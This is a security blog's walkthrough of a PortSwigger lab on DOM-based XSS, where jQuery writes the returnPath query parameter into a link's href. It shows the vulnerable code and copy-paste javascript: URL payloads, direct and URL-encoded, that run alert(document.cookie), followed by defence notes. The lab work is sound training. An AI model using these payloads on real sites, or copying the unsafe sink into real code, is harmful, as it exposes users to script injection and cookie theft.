Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-22 · v1.0.0+2026-08-22.8585a7b · 8585a7b
← Back to overview
Security article

DOM XSS in jQuery anchor href attribute sink using location.search source

DOM XSS in jQuery anchor href attribute sink using location.search source: Exploit a DOM XSS in the feedback page to make the “back” link execute alert(document.cookie). If cookies are marked HttpOnly, document.cookie may be empty. The execution still proves the sink is exploitable. • PortSwigger • Cross-site scripting • dom-xss, dom

2022-10-075 tags
Tags

🎯 Objective

Exploit a DOM XSS in the feedback page to make the “back” link execute alert(document.cookie).

If cookies are marked HttpOnly, document.cookie may be empty. The execution still proves the sink is exploitable.


🧩 What I’m exploiting

  • jQuery sets an anchor’s href from untrusted input: location.search → returnPath.
  • Sink: $('#backLink').attr('href', <untrusted>) (attribute sink).
  • Using a javascript: URL lets us run code when the back link is clicked (or immediately in some contexts).

Relevant code

javascript
$(function() {
  $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath') );
});

🧭 Steps I Took

  1. Baseline navigation to confirm control over href:
text
...?returnPath=//www.google.se
  1. Trigger code execution via javascript: URL:
text
...?returnPath=javascript:alert(1)
  1. Invoke document.cookie (may be empty if HttpOnly, but still executes):
text
...?returnPath=javascript:alert(document.cookie)
  1. If special characters are filtered, use URL‑encoded payloads.

📎 Copy‑paste payloads

Direct

text
https://<LAB-HOST>/feedback?returnPath=javascript:alert(document.cookie)

URL‑encoded

text
https://<LAB-HOST>/feedback?returnPath=javascript%3aalert%28document.cookie%29

Sanity check (non‑JS URL)

text
https://<LAB-HOST>/feedback?returnPath=//www.google.se

🧪 Troubleshooting

  • Blank alert box? Likely HttpOnly cookies. Use alert(1) to demonstrate code execution if needed.
  • No execution? Ensure element id is backLink and you’re on the /feedback page.
  • Filtering/CSP: Try URL‑encoded payloads; if a CSP blocks javascript:, the lab would typically relax it for this exercise—double‑check the exact path/param name.
  • Auto‑navigation: If the link must be clicked, click the Back link after loading the crafted URL.

🔒 Defense (notes)

  • Never write untrusted data into URL/attribute sinks. Validate against an allowlist of same‑site paths.
  • Prefer setting text, or use safe URL builders to strip javascript: / data: schemes.
  • Add a strict CSP and avoid unsafe-inline where possible.

✅ Result

  • Controlled the anchor href via returnPath and executed JS with javascript:.
  • Payload alert(document.cookie) executed (cookie value may be empty if HttpOnly).

Comments

Comments

Loading comments…

Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 What I’m exploiting
  3. 03🧭 Steps I Took
  4. 04📎 Copy‑paste payloads
  5. 05🧪 Troubleshooting
  6. 06🔒 Defense (notes)
  7. 07✅ Result
Search
Explore

Popular tags

Browse all 30 tags